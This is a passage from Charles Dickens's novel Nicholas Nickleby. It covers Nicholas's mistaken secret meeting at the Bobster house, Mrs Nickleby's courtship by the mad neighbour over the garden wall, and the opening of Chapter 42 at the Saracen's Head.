Newman. + +'Yes, yes. What did she say to that?' asked Nicholas. + +'Blushed,' said Newman. + +'To be sure. Of course she would,' said Nicholas approvingly. +Newman then went on to say, that the young lady was an only child, +that her mother was dead, that she resided with her father, and that +she had been induced to allow her lover a secret interview, at the +intercession of her servant, who had great influence with her. He +further related how it required much moving and great eloquence to +bring the young lady to this pass; how it was expressly understood +that she merely afforded Nicholas an opportunity of declaring his +passion; and how she by no means pledged herself to be favourably +impressed with his attentions. The mystery of her visits to the +brothers Cheeryble remained wholly unexplained, for Newman had not +alluded to them, either in his preliminary conversations with the +servant or his subsequent interview with the mistress, merely +remarking that he had been instructed to watch the girl home and +plead his young friend's cause, and not saying how far he had +followed her, or from what point. But Newman hinted that from what +had fallen from the confidante, he had been led to suspect that the +young lady led a very miserable and unhappy life, under the strict +control of her only parent, who was of a violent and brutal temper; +a circumstance which he thought might in some degree account, both +for her having sought the protection and friendship of the brothers, +and her suffering herself to be prevailed upon to grant the promised +interview. The last he held to be a very logical deduction from the +premises, inasmuch as it was but natural to suppose that a young +lady, whose present condition was so unenviable, would be more than +commonly desirous to change it. + +It appeared, on further questioning--for it was only by a very long +and arduous process that all this could be got out of Newman Noggs-- +that Newman, in explanation of his shabby appearance, had +represented himself as being, for certain wise and indispensable +purposes connected with that intrigue, in disguise; and, being +questioned how he had come to exceed his commission so far as to +procure an interview, he responded, that the lady appearing willing +to grant it, he considered himself bound, both in duty and +gallantry, to avail himself of such a golden means of enabling +Nicholas to prosecute his addresses. After these and all possible +questions had been asked and answered twenty times over, they +parted, undertaking to meet on the following night at half-past ten, +for the purpose of fulfilling the appointment; which was for eleven +o'clock. + +'Things come about very strangely!' thought Nicholas, as he walked +home. 'I never contemplated anything of this kind; never dreamt of +the possibility of it. To know something of the life of one in whom +I felt such interest; to see her in the street, to pass the house in +which she lived, to meet her sometimes in her walks, to hope that a +day might come when I might be in a condition to tell her of my +love, this was the utmost extent of my thoughts. Now, however--but +I should be a fool, indeed, to repine at my own good fortune!' + +Still, Nicholas was dissatisfied; and there was more in the +dissatisfaction than mere revulsion of feeling. He was angry with +the young lady for being so easily won, 'because,' reasoned +Nicholas, 'it is not as if she knew it was I, but it might have been +anybody,'--which was certainly not pleasant. The next moment, he +was angry with himself for entertaining such thoughts, arguing that +nothing but goodness could dwell in such a temple, and that the +behaviour of the brothers sufficiently showed the estimation in +which they held her. 'The fact is, she's a mystery altogether,' +said Nicholas. This was not more satisfactory than his previous +course of reflection, and only drove him out upon a new sea of +speculation and conjecture, where he tossed and tumbled, in great +discomfort of mind, until the clock struck ten, and the hour of +meeting drew nigh. + +Nicholas had dressed himself with great care, and even Newman Noggs +had trimmed himself up a little; his coat presenting the phenomenon +of two consecutive buttons, and the supplementary pins being +inserted at tolerably regular intervals. He wore his hat, too, in +the newest taste, with a pocket-handkerchief in the crown, and a +twisted end of it straggling out behind after the fashion of a +pigtail, though he could scarcely lay claim to the ingenuity of +inventing this latter decoration, inasmuch as he was utterly +unconscious of it: being in a nervous and excited condition which +rendered him quite insensible to everything but the great object of +the expedition. + +They traversed the streets in profound silence; and after walking at +a round pace for some distance, arrived in one, of a gloomy +appearance and very little frequented, near the Edgeware Road. + +'Number twelve,' said Newman. + +'Oh!' replied Nicholas, looking about him. + +'Good street?' said Newman. + +'Yes,' returned Nicholas. 'Rather dull.' + +Newman made no answer to this remark, but, halting abruptly, planted +Nicholas with his back to some area railings, and gave him to +understand that he was to wait there, without moving hand or foot, +until it was satisfactorily ascertained that the coast was clear. +This done, Noggs limped away with great alacrity; looking over his +shoulder every instant, to make quite certain that Nicholas was +obeying his directions; and, ascending the steps of a house some +half-dozen doors off, was lost to view. + +After a short delay, he reappeared, and limping back again, halted +midway, and beckoned Nicholas to follow him. + +'Well?' said Nicholas, advancing towards him on tiptoe. + +'All right,' replied Newman, in high glee. 'All ready; nobody at +home. Couldn't be better. Ha! ha!' + +With this fortifying assurance, he stole past a street-door, on +which Nicholas caught a glimpse of a brass plate, with 'BOBSTER,' in +very large letters; and, stopping at the area-gate, which was open, +signed to his young friend to descend. + +'What the devil!' cried Nicholas, drawing back. 'Are we to sneak +into the kitchen, as if we came after the forks?' + +'Hush!' replied Newman. 'Old Bobster--ferocious Turk. He'd kill +'em all--box the young lady's ears--he does--often.' + +'What!' cried Nicholas, in high wrath, 'do you mean to tell me that +any man would dare to box the ears of such a--' + +He had no time to sing the praises of his mistress, just then, for +Newman gave him a gentle push which had nearly precipitated him to +the bottom of the area steps. Thinking it best to take the hint in +good part, Nicholas descended, without further remonstrance, but +with a countenance bespeaking anything rather than the hope and +rapture of a passionate lover. Newman followed--he would have +followed head first, but for the timely assistance of Nicholas--and, +taking his hand, led him through a stone passage, profoundly dark, +into a back-kitchen or cellar, of the blackest and most pitchy +obscurity, where they stopped. + +'Well!' said Nicholas, in a discontented whisper, 'this is not all, +I suppose, is it?' + +'No, no,' rejoined Noggs; 'they'll be here directly. It's all +right.' + +'I am glad to hear it,' said Nicholas. 'I shouldn't have thought +it, I confess.' + +They exchanged no further words, and there Nicholas stood, listening +to the loud breathing of Newman Noggs, and imagining that his nose +seemed to glow like a red-hot coal, even in the midst of the +darkness which enshrouded them. Suddenly the sound of cautious +footsteps attracted his ear, and directly afterwards a female voice +inquired if the gentleman was there. + +'Yes,' replied Nicholas, turning towards the corner from which the +voice proceeded. 'Who is that?' + +'Only me, sir,' replied the voice. 'Now if you please, ma'am.' + +A gleam of light shone into the place, and presently the servant +girl appeared, bearing a light, and followed by her young mistress, +who seemed to be overwhelmed by modesty and confusion. + +At sight of the young lady, Nicholas started and changed colour; his +heart beat violently, and he stood rooted to the spot. At that +instant, and almost simultaneously with her arrival and that of the +candle, there was heard a loud and furious knocking at the street- +door, which caused Newman Noggs to jump up, with great agility, from +a beer-barrel on which he had been seated astride, and to exclaim +abruptly, and with a face of ashy paleness, 'Bobster, by the Lord!' + +The young lady shrieked, the attendant wrung her hands, Nicholas +gazed from one to the other in apparent stupefaction, and Newman +hurried to and fro, thrusting his hands into all his pockets +successively, and drawing out the linings of every one in the excess +of his irresolution. It was but a moment, but the confusion crowded +into that one moment no imagination can exaggerate. + +'Leave the house, for Heaven's sake! We have done wrong, we deserve +it all,' cried the young lady. 'Leave the house, or I am ruined and +undone for ever.' + +'Will you hear me say but one word?' cried Nicholas. 'Only one. I +will not detain you. Will you hear me say one word, in explanation +of this mischance?' + +But Nicholas might as well have spoken to the wind, for the young +lady, with distracted looks, hurried up the stairs. He would have +followed her, but Newman, twisting his hand in his coat collar, +dragged him towards the passage by which they had entered. + +'Let me go, Newman, in the Devil's name!' cried Nicholas. 'I must +speak to her. I will! I will not leave this house without.' + +'Reputation--character--violence--consider,' said Newman, clinging +round him with both arms, and hurrying him away. 'Let them open the +door. We'll go, as we came, directly it's shut. Come. This way. +Here.' + +Overpowered by the remonstrances of Newman, and the tears and +prayers of the girl, and the tremendous knocking above, which had +never ceased, Nicholas allowed himself to be hurried off; and, +precisely as Mr Bobster made his entrance by the street-door, he and +Noggs made their exit by the area-gate. + +They hurried away, through several streets, without stopping or +speaking. At last, they halted and confronted each other with blank +and rueful faces. + +'Never mind,' said Newman, gasping for breath. 'Don't be cast down. +It's all right. More fortunate next time. It couldn't be helped. +I did MY part.' + +'Excellently,' replied Nicholas, taking his hand. 'Excellently, and +like the true and zealous friend you are. Only--mind, I am not +disappointed, Newman, and feel just as much indebted to you--only IT +WAS THE WRONG LADY.' + +'Eh?' cried Newman Noggs. 'Taken in by the servant?' + +'Newman, Newman,' said Nicholas, laying his hand upon his shoulder: +'it was the wrong servant too.' + +Newman's under-jaw dropped, and he gazed at Nicholas, with his sound +eye fixed fast and motionless in his head. + +'Don't take it to heart,' said Nicholas; 'it's of no consequence; +you see I don't care about it; you followed the wrong person, that's +all.' + +That WAS all. Whether Newman Noggs had looked round the pump, in a +slanting direction, so long, that his sight became impaired; or +whether, finding that there was time to spare, he had recruited +himself with a few drops of something stronger than the pump could +yield--by whatsoever means it had come to pass, this was his +mistake. And Nicholas went home to brood upon it, and to meditate +upon the charms of the unknown young lady, now as far beyond his +reach as ever. + + + +CHAPTER 41 + +Containing some Romantic Passages between Mrs Nickleby and the +Gentleman in the Small-clothes next Door + + +Ever since her last momentous conversation with her son, Mrs +Nickleby had begun to display unusual care in the adornment of her +person, gradually superadding to those staid and matronly +habiliments, which had, up to that time, formed her ordinary attire, +a variety of embellishments and decorations, slight perhaps in +themselves, but, taken together, and considered with reference to +the subject of her disclosure, of no mean importance. Even her +black dress assumed something of a deadly-lively air from the jaunty +style in which it was worn; and, eked out as its lingering +attractions were; by a prudent disposal, here and there, of certain +juvenile ornaments of little or no value, which had, for that reason +alone, escaped the general wreck and been permitted to slumber +peacefully in odd corners of old drawers and boxes where daylight +seldom shone, her mourning garments assumed quite a new character. +From being the outward tokens of respect and sorrow for the dead, +they became converted into signals of very slaughterous and killing +designs upon the living. + +Mrs Nickleby might have been stimulated to this proceeding by a +lofty sense of duty, and impulses of unquestionable excellence. She +might, by this time, have become impressed with the sinfulness of +long indulgence in unavailing woe, or the necessity of setting a +proper example of neatness and decorum to her blooming daughter. +Considerations of duty and responsibility apart, the change might +have taken its rise in feelings of the purest and most disinterested +charity. The gentleman next door had been vilified by Nicholas; +rudely stigmatised as a dotard and an idiot; and for these attacks +upon his understanding, Mrs Nickleby was, in some sort, accountable. +She might have felt that it was the act of a good Christian to show +by all means in her power, that the abused gentleman was neither the +one nor the other. And what better means could she adopt, towards +so virtuous and laudable an end, than proving to all men, in her own +person, that his passion was the most rational and reasonable in the +world, and just the very result, of all others, which discreet and +thinking persons might have foreseen, from her incautiously +displaying her matured charms, without reserve, under the very eye, +as it were, of an ardent and too-susceptible man? + +'Ah!' said Mrs Nickleby, gravely shaking her head; 'if Nicholas knew +what his poor dear papa suffered before we were engaged, when I used +to hate him, he would have a little more feeling. Shall I ever +forget the morning I looked scornfully at him when he offered to +carry my parasol? Or that night, when I frowned at him? It was a +mercy he didn't emigrate. It very nearly drove him to it.' + +Whether the deceased might not have been better off if he had +emigrated in his bachelor days, was a question which his relict did +not stop to consider; for Kate entered the room, with her workbox, +in this stage of her reflections; and a much slighter interruption, +or no interruption at all, would have diverted Mrs Nickleby's +thoughts into a new channel at any time. + +'Kate, my dear,' said Mrs Nickleby; 'I don't know how it is, but a +fine warm summer day like this, with the birds singing in every +direction, always puts me in mind of roast pig, with sage and onion +sauce, and made gravy.' + +'That's a curious association of ideas, is it not, mama?' + +'Upon my word, my dear, I don't know,' replied Mrs Nickleby. 'Roast +pig; let me see. On the day five weeks after you were christened, +we had a roast--no, that couldn't have been a pig, either, because I +recollect there were a pair of them to carve, and your poor papa and +I could never have thought of sitting down to two pigs--they must +have been partridges. Roast pig! I hardly think we ever could have +had one, now I come to remember, for your papa could never bear the +sight of them in the shops, and used to say that they always put him +in mind of very little babies, only the pigs had much fairer +complexions; and he had a horror of little babies, to, because he +couldn't very well afford any increase to his family, and had a +natural dislike to the subject. It's very odd now, what can have +put that in my head! I recollect dining once at Mrs Bevan's, in +that broad street round the corner by the coachmaker's, where the +tipsy man fell through the cellar-flap of an empty house nearly a +week before the quarter-day, and wasn't found till the new tenant +went in--and we had roast pig there. It must be that, I think, that +reminds me of it, especially as there was a little bird in the room +that would keep on singing all the time of dinner--at least, not a +little bird, for it was a parrot, and he didn't sing exactly, for he +talked and swore dreadfully: but I think it must be that. Indeed I +am sure it must. Shouldn't you say so, my dear?' + +'I should say there was not a doubt about it, mama,' returned Kate, +with a cheerful smile. + +'No; but DO you think so, Kate?' said Mrs Nickleby, with as much +gravity as if it were a question of the most imminent and thrilling +interest. 'If you don't, say so at once, you know; because it's +just as well to be correct, particularly on a point of this kind, +which is very curious and worth settling while one thinks about it.' + +Kate laughingly replied that she was quite convinced; and as her +mama still appeared undetermined whether it was not absolutely +essential that the subject should be renewed, proposed that they +should take their work into the summer-house, and enjoy the beauty +of the afternoon. Mrs Nickleby readily assented, and to the summer- +house they repaired, without further discussion. + +'Well, I will say,' observed Mrs Nickleby, as she took her seat, +'that there never was such a good creature as Smike. Upon my word, +the pains he has taken in putting this little arbour to rights, and +training the sweetest flowers about it, are beyond anything I could +have--I wish he wouldn't put ALL the gravel on your side, Kate, my +dear, though, and leave nothing but mould for me.' + +'Dear mama,' returned Kate, hastily, 'take this seat--do--to oblige +me, mama.' + +'No, indeed, my dear. I shall keep my own side,' said Mrs Nickleby. +'Well! I declare!' + +Kate looked up inquiringly. + +'If he hasn't been,' said Mrs Nickleby, 'and got, from somewhere +or other, a couple of roots of those flowers that I said I was so +fond of, the other night, and asked you if you were not--no, that +YOU said YOU were so fond of, the other night, and asked me if I +wasn't--it's the same thing. Now, upon my word, I take that as very +kind and attentive indeed! I don't see,' added Mrs Nickleby, +looking narrowly about her, 'any of them on my side, but I suppose +they grow best near the gravel. You may depend upon it they do, +Kate, and that's the reason they are all near you, and he has put +the gravel there, because it's the sunny side. Upon my word, that's +very clever now! I shouldn't have had half as much thought myself!' + +'Mama,' said Kate, bending over her work so that her face was +almost hidden, 'before you were married--' + +'Dear me, Kate,' interrupted Mrs Nickleby, 'what in the name of +goodness graciousness makes you fly off to the time before I was +married, when I'm talking to you about his thoughtfulness and +attention to me? You don't seem to take the smallest interest in +the garden.' + +'Oh! mama,' said Kate, raising her face again, 'you know I do.' + +'Well then, my dear, why don't you praise the neatness and +prettiness with which it's kept?' said Mrs Nickleby. 'How very odd +you are, Kate!' + +'I do praise it, mama,' answered Kate, gently. 'Poor fellow!' + +'I scarcely ever hear you, my dear,' retorted Mrs Nickleby; 'that's +all I've got to say.' By this time the good lady had been a long +while upon one topic, so she fell at once into her daughter's little +trap, if trap it were, and inquired what she had been going to say. + +'About what, mama?' said Kate, who had apparently quite forgotten +her diversion. + +'Lor, Kate, my dear,' returned her mother, 'why, you're asleep or +stupid! About the time before I was married.' + +'Oh yes!' said Kate, 'I remember. I was going to ask, mama, before +you were married, had you many suitors?' + +'Suitors, my dear!' cried Mrs Nickleby, with a smile of wonderful +complacency. 'First and last, Kate, I must have had a dozen at +least.' + +'Mama!' returned Kate, in a tone of remonstrance. + +'I had indeed, my dear,' said Mrs Nickleby; 'not including your poor +papa, or a young gentleman who used to go, at that time, to the same +dancing school, and who WOULD send gold watches and bracelets to our +house in gilt-edged paper, (which were always returned,) and who +afterwards unfortunately went out to Botany Bay in a cadet ship--a +convict ship I mean--and escaped into a bush and killed sheep, (I +don't know how they got there,) and was going to be hung, only he +accidentally choked himself, and the government pardoned him. Then +there was young Lukin,' said Mrs Nickleby, beginning with her left +thumb and checking off the names on her fingers--'Mogley--Tipslark-- +Cabbery--Smifser--' + +Having now reached her little finger, Mrs Nickleby was carrying the +account over to the other hand, when a loud 'Hem!' which appeared to +come from the very foundation of the garden-wall, gave both herself +and her daughter a violent start. + +'Mama! what was that?' said Kate, in a low tone of voice. + +'Upon my word, my dear,' returned Mrs Nickleby, considerably +startled, 'unless it was the gentleman belonging to the next house, +I don't know what it could possibly--' + +'A--hem!' cried the same voice; and that, not in the tone of an +ordinary clearing of the throat, but in a kind of bellow, which woke +up all the echoes in the neighbourhood, and was prolonged to an +extent which must have made the unseen bellower quite black in the +face. + +'I understand it now, my dear,' said Mrs Nickleby, laying her hand +on Kate's; 'don't be alarmed, my love, it's not directed to you, and +is not intended to frighten anybody. Let us give everybody their +due, Kate; I am bound to say that.' + +So saying, Mrs Nickleby nodded her head, and patted the back of her +daughter's hand, a great many times, and looked as if she could tell +something vastly important if she chose, but had self-denial, thank +Heaven; and wouldn't do it. + +'What do you mean, mama?' demanded Kate, in evident surprise. + +'Don't be flurried, my dear,' replied Mrs Nickleby, looking towards +the garden-wall, 'for you see I'm not, and if it would be excusable +in anybody to be flurried, it certainly would--under all the +circumstances--be excusable in me, but I am not, Kate--not at all.' + +'It seems designed to attract our attention, mama,' said Kate. + +'It is designed to attract our attention, my dear; at least,' +rejoined Mrs Nickleby, drawing herself up, and patting her +daughter's hand more blandly than before, 'to attract the attention +of one of us. Hem! you needn't be at all uneasy, my dear.' + +Kate looked very much perplexed, and was apparently about to ask for +further explanation, when a shouting and scuffling noise, as of an +elderly gentleman whooping, and kicking up his legs on loose gravel, +with great violence, was heard to proceed from the same direction as +the former sounds; and before they had subsided, a large cucumber +was seen to shoot up in the air with the velocity of a sky-rocket, +whence it descended, tumbling over and over, until it fell at Mrs +Nickleby's feet. + +This remarkable appearance was succeeded by another of a precisely +similar description; then a fine vegetable marrow, of unusually +large dimensions, was seen to whirl aloft, and come toppling down; +then, several cucumbers shot up together; and, finally, the air was +darkened by a shower of onions, turnip-radishes, and other small +vegetables, which fell rolling and scattering, and bumping about, in +all directions. + +As Kate rose from her seat, in some alarm, and caught her mother's +hand to run with her into the house, she felt herself rather +retarded than assisted in her intention; and following the direction +of Mrs Nickleby's eyes, was quite terrified by the apparition of an +old black velvet cap, which, by slow degrees, as if its wearer were +ascending a ladder or pair of steps, rose above the wall dividing +their garden from that of the next cottage, (which, like their own, +was a detached building,) and was gradually followed by a very large +head, and an old face, in which were a pair of most extraordinary +grey eyes: very wild, very wide open, and rolling in their sockets, +with a dull, languishing, leering look, most ugly to behold. + +'Mama!' cried Kate, really terrified for the moment, 'why do you +stop, why do you lose an instant? Mama, pray come in!' + +'Kate, my dear,' returned her mother, still holding back, 'how can +you be so foolish? I'm ashamed of you. How do you suppose you are +ever to get through life, if you're such a coward as this? What do +you want, sir?' said Mrs Nickleby, addressing the intruder with a +sort of simpering displeasure. 'How dare you look into this +garden?' + +'Queen of my soul,' replied the stranger, folding his hands +together, 'this goblet sip!' + +'Nonsense, sir,' said Mrs Nickleby. 'Kate, my love, pray be quiet.' + +'Won't you sip the goblet?' urged the stranger, with his head +imploringly on one side, and his right hand on his breast. 'Oh, do +sip the goblet!' + +'I shall not consent to do anything of the kind, sir,' said Mrs +Nickleby. 'Pray, begone.' + +'Why is it,' said the old gentleman, coming up a step higher, and +leaning his elbows on the wall, with as much complacency as if he +were looking out of window, 'why is it that beauty is always +obdurate, even when admiration is as honourable and respectful as +mine?' Here he smiled, kissed his hand, and made several low bows. +'Is it owing to the bees, who, when the honey season is over, and +they are supposed to have been killed with brimstone, in reality fly +to Barbary and lull the captive Moors to sleep with their drowsy +songs? Or is it,' he added, dropping his voice almost to a whisper, +'in consequence of the statue at Charing Cross having been lately +seen, on the Stock Exchange at midnight, walking arm-in-arm with the +Pump from Aldgate, in a riding-habit?' + +'Mama,' murmured Kate, 'do you hear him?' + +'Hush, my dear!' replied Mrs Nickleby, in the same tone of voice, +'he is very polite, and I think that was a quotation from the poets. +Pray, don't worry me so--you'll pinch my arm black and blue. Go +away, sir!' + +'Quite away?' said the gentleman, with a languishing look. 'Oh! +quite away?' + +'Yes,' returned Mrs Nickleby, 'certainly. You have no business +here. This is private property, sir; you ought to know that.' + +'I do know,' said the old gentleman, laying his finger on his nose, +with an air of familiarity, most reprehensible, 'that this is a +sacred and enchanted spot, where the most divine charms'--here he +kissed his hand and bowed again--'waft mellifluousness over the +neighbours' gardens, and force the fruit and vegetables into +premature existence. That fact I am acquainted with. But will you +permit me, fairest creature, to ask you one question, in the absence +of the planet Venus, who has gone on business to the Horse Guards, +and would otherwise--jealous of your superior charms--interpose +between us?' + +'Kate,' observed Mrs Nickleby, turning to her daughter, 'it's very +awkward, positively. I really don't know what to say to this +gentleman. One ought to be civil, you know.' + +'Dear mama,' rejoined Kate, 'don't say a word to him, but let us +run away as fast as we can, and shut ourselves up till Nicholas +comes home.' + +Mrs Nickleby looked very grand, not to say contemptuous, at this +humiliating proposal; and, turning to the old gentleman, who had +watched them during these whispers with absorbing eagerness, said: + +'If you will conduct yourself, sir, like the gentleman I should +imagine you to be, from your language and--and--appearance, (quite +the counterpart of your grandpapa, Kate, my dear, in his best days,) +and will put your question to me in plain words, I will answer it.' + +If Mrs Nickleby's excellent papa had borne, in his best days, a +resemblance to the neighbour now looking over the wall, he must have +been, to say the least, a very queer-looking old gentleman in his +prime. Perhaps Kate thought so, for she ventured to glance at his +living portrait with some attention, as he took off his black velvet +cap, and, exhibiting a perfectly bald head, made a long series of +bows, each accompanied with a fresh kiss of the hand. After +exhausting himself, to all appearance, with this fatiguing +performance, he covered his head once more, pulled the cap very +carefully over the tips of his ears, and resuming his former +attitude, said, + +'The question is--' + +Here he broke off to look round in every direction, and satisfy +himself beyond all doubt that there were no listeners near. Assured +that there were not, he tapped his nose several times, accompanying +the action with a cunning look, as though congratulating himself on +his caution; and stretching out his neck, said in a loud whisper, + +'Are you a princess?' + +'You are mocking me, sir,' replied Mrs Nickleby, making a feint of +retreating towards the house. + +'No, but are you?' said the old gentleman. + +'You know I am not, sir,' replied Mrs Nickleby. + +'Then are you any relation to the Archbishop of Canterbury?' +inquired the old gentleman with great anxiety, 'or to the Pope of +Rome? Or the Speaker of the House of Commons? Forgive me, if I am +wrong, but I was told you were niece to the Commissioners of Paving, +and daughter-in-law to the Lord Mayor and Court of Common Council, +which would account for your relationship to all three.' + +'Whoever has spread such reports, sir,' returned Mrs Nickleby, with +some warmth, 'has taken great liberties with my name, and one which +I am sure my son Nicholas, if he was aware of it, would not allow +for an instant. The idea!' said Mrs Nickleby, drawing herself up, +'niece to the Commissioners of Paving!' + +'Pray, mama, come away!' whispered Kate. + +'"Pray mama!" Nonsense, Kate,' said Mrs Nickleby, angrily, 'but +that's just the way. If they had said I was niece to a piping +bullfinch, what would you care? But I have no sympathy,' whimpered +Mrs Nickleby. 'I don't expect it, that's one thing.' + +'Tears!' cried the old gentleman, with such an energetic jump, that +he fell down two or three steps and grated his chin against the +wall. 'Catch the crystal globules--catch 'em--bottle 'em up--cork +'em tight--put sealing wax on the top--seal 'em with a cupid--label +'em "Best quality"--and stow 'em away in the fourteen binn, with a +bar of iron on the top to keep the thunder off!' + +Issuing these commands, as if there were a dozen attendants all +actively engaged in their execution, he turned his velvet cap inside +out, put it on with great dignity so as to obscure his right eye and +three-fourths of his nose, and sticking his arms a-kimbo, looked +very fiercely at a sparrow hard by, till the bird flew away, when he +put his cap in his pocket with an air of great satisfaction, and +addressed himself with respectful demeanour to Mrs Nickleby. + +'Beautiful madam,' such were his words, 'if I have made any mistake +with regard to your family or connections, I humbly beseech you to +pardon me. If I supposed you to be related to Foreign Powers or +Native Boards, it is because you have a manner, a carriage, a +dignity, which you will excuse my saying that none but yourself +(with the single exception perhaps of the tragic muse, when playing +extemporaneously on the barrel organ before the East India Company) +can parallel. I am not a youth, ma'am, as you see; and although +beings like you can never grow old, I venture to presume that we are +fitted for each other.' + +'Really, Kate, my love!' said Mrs Nickleby faintly, and looking +another way. + +'I have estates, ma'am,' said the old gentleman, flourishing his +right hand negligently, as if he made very light of such matters, +and speaking very fast; 'jewels, lighthouses, fish-ponds, a whalery +of my own in the North Sea, and several oyster-beds of great profit +in the Pacific Ocean. If you will have the kindness to step down to +the Royal Exchange and to take the cocked-hat off the stoutest +beadle's head, you will find my card in the lining of the crown, +wrapped up in a piece of blue paper. My walking-stick is also to be +seen on application to the chaplain of the House of Commons, who is +strictly forbidden to take any money for showing it. I have enemies +about me, ma'am,' he looked towards his house and spoke very low, +'who attack me on all occasions, and wish to secure my property. If +you bless me with your hand and heart, you can apply to the Lord +Chancellor or call out the military if necessary--sending my +toothpick to the commander-in-chief will be sufficient--and so clear +the house of them before the ceremony is performed. After that, +love, bliss and rapture; rapture, love and bliss. Be mine, be mine!' + +Repeating these last words with great rapture and enthusiasm, the +old gentleman put on his black velvet cap again, and looking up into +the sky in a hasty manner, said something that was not quite +intelligible concerning a balloon he expected, and which was rather +after its time. + +'Be mine, be mine!' repeated the old gentleman. + +'Kate, my dear,' said Mrs Nickleby, 'I have hardly the power to +speak; but it is necessary for the happiness of all parties that +this matter should be set at rest for ever.' + +'Surely there is no necessity for you to say one word, mama?' +reasoned Kate. + +'You will allow me, my dear, if you please, to judge for myself,' +said Mrs Nickleby. + +'Be mine, be mine!' cried the old gentleman. + +'It can scarcely be expected, sir,' said Mrs Nickleby, fixing her +eyes modestly on the ground, 'that I should tell a stranger whether +I feel flattered and obliged by such proposals, or not. They +certainly are made under very singular circumstances; still at the +same time, as far as it goes, and to a certain extent of course' +(Mrs Nickleby's customary qualification), 'they must be gratifying +and agreeable to one's feelings.' + +'Be mine, be mine,' cried the old gentleman. 'Gog and Magog, Gog +and Magog. Be mine, be mine!' + +'It will be sufficient for me to say, sir,' resumed Mrs Nickleby, +with perfect seriousness--'and I'm sure you'll see the propriety of +taking an answer and going away--that I have made up my mind to +remain a widow, and to devote myself to my children. You may not +suppose I am the mother of two children--indeed many people have +doubted it, and said that nothing on earth could ever make 'em +believe it possible--but it is the case, and they are both grown up. +We shall be very glad to have you for a neighbour--very glad; +delighted, I'm sure--but in any other character it's quite +impossible, quite. As to my being young enough to marry again, that +perhaps may be so, or it may not be; but I couldn't think of it for +an instant, not on any account whatever. I said I never would, and +I never will. It's a very painful thing to have to reject +proposals, and I would much rather that none were made; at the same +time this is the answer that I determined long ago to make, and this +is the answer I shall always give.' + +These observations were partly addressed to the old gentleman, +partly to Kate, and partly delivered in soliloquy. Towards their +conclusion, the suitor evinced a very irreverent degree of +inattention, and Mrs Nickleby had scarcely finished speaking, when, +to the great terror both of that lady and her daughter, he suddenly +flung off his coat, and springing on the top of the wall, threw +himself into an attitude which displayed his small-clothes and grey +worsteds to the fullest advantage, and concluded by standing on one +leg, and repeating his favourite bellow with increased vehemence. + +While he was still dwelling on the last note, and embellishing it +with a prolonged flourish, a dirty hand was observed to glide +stealthily and swiftly along the top of the wall, as if in pursuit +of a fly, and then to clasp with the utmost dexterity one of the old +gentleman's ankles. This done, the companion hand appeared, and +clasped the other ankle. + +Thus encumbered the old gentleman lifted his legs awkwardly once or +twice, as if they were very clumsy and imperfect pieces of +machinery, and then looking down on his own side of the wall, burst +into a loud laugh. + +'It's you, is it?' said the old gentleman. + +'Yes, it's me,' replied a gruff voice. + +'How's the Emperor of Tartary?' said the old gentleman. + +'Oh! he's much the same as usual,' was the reply. 'No better and no +worse.' + +'The young Prince of China,' said the old gentleman, with much +interest. 'Is he reconciled to his father-in-law, the great potato +salesman?' + +'No,' answered the gruff voice; 'and he says he never will be, +that's more.' + +'If that's the case,' observed the old gentleman, 'perhaps I'd +better come down.' + +'Well,' said the man on the other side, 'I think you had, perhaps.' + +One of the hands being then cautiously unclasped, the old gentleman +dropped into a sitting posture, and was looking round to smile and +bow to Mrs Nickleby, when he disappeared with some precipitation, as +if his legs had been pulled from below. + +Very much relieved by his disappearance, Kate was turning to speak +to her mama, when the dirty hands again became visible, and were +immediately followed by the figure of a coarse squat man, who +ascended by the steps which had been recently occupied by their +singular neighbour. + +'Beg your pardon, ladies,' said this new comer, grinning and +touching his hat. 'Has he been making love to either of you?' + +'Yes,' said Kate. + +'Ah!' rejoined the man, taking his handkerchief out of his hat and +wiping his face, 'he always will, you know. Nothing will prevent +his making love.' + +'I need not ask you if he is out of his mind, poor creature,' said +Kate. + +'Why no,' replied the man, looking into his hat, throwing his +handkerchief in at one dab, and putting it on again. 'That's pretty +plain, that is.' + +'Has he been long so?' asked Kate. + +'A long while.' + +'And is there no hope for him?' said Kate, compassionately + +'Not a bit, and don't deserve to be,' replied the keeper. 'He's a +deal pleasanter without his senses than with 'em. He was the +cruellest, wickedest, out-and-outerest old flint that ever drawed +breath.' + +'Indeed!' said Kate. + +'By George!' replied the keeper, shaking his head so emphatically +that he was obliged to frown to keep his hat on. 'I never come +across such a vagabond, and my mate says the same. Broke his poor +wife's heart, turned his daughters out of doors, drove his sons into +the streets; it was a blessing he went mad at last, through evil +tempers, and covetousness, and selfishness, and guzzling, and +drinking, or he'd have drove many others so. Hope for HIM, an old +rip! There isn't too much hope going' but I'll bet a crown that +what there is, is saved for more deserving chaps than him, anyhow.' + +With which confession of his faith, the keeper shook his head again, +as much as to say that nothing short of this would do, if things +were to go on at all; and touching his hat sulkily--not that he was +in an ill humour, but that his subject ruffled him--descended the +ladder, and took it away. + +During this conversation, Mrs Nickleby had regarded the man with a +severe and steadfast look. She now heaved a profound sigh, and +pursing up her lips, shook her head in a slow and doubtful manner. + +'Poor creature!' said Kate. + +'Ah! poor indeed!' rejoined Mrs Nickleby. 'It's shameful that such +things should be allowed. Shameful!' + +'How can they be helped, mama?' said Kate, mournfully. 'The +infirmities of nature--' + +'Nature!' said Mrs Nickleby. 'What! Do YOU suppose this poor +gentleman is out of his mind?' + +'Can anybody who sees him entertain any other opinion, mama?' + +'Why then, I just tell you this, Kate,' returned Mrs Nickleby, +'that, he is nothing of the kind, and I am surprised you can be so +imposed upon. It's some plot of these people to possess themselves +of his property--didn't he say so himself? He may be a little odd +and flighty, perhaps, many of us are that; but downright mad! and +express himself as he does, respectfully, and in quite poetical +language, and making offers with so much thought, and care, and +prudence--not as if he ran into the streets, and went down upon his +knees to the first chit of a girl he met, as a madman would! No, +no, Kate, there's a great deal too much method in HIS madness; +depend upon that, my dear.' + + + +CHAPTER 42 + +Illustrative of the convivial Sentiment, that the best of Friends +must sometimes part + + +The pavement of Snow Hill had been baking and frying all day in the +heat, and the twain Saracens' heads guarding the entrance to the +hostelry of whose name and sign they are the duplicate presentments, +looked--or seemed, in the eyes of jaded and footsore passers-by, to +look--more vicious than usual, after blistering and scorching in the +sun, when, in one of the inn's smallest sitting-rooms, through whose +open window there rose, in a palpable steam, wholesome exhalations +from reeking coach-horses, the usual furniture of a tea-table was +displayed in neat and inviting order, flanked by large joints of +roast and boiled, a tongue, a pigeon pie, a cold fowl, a tankard of +ale, and other little matters of the like kind, which, in degenerate +towns and cities, are generally understood to belong more +particularly to solid lunches, stage-coach dinners, or unusually +substantial breakfasts. + +Mr John Browdie, with his hands in his pockets, hovered 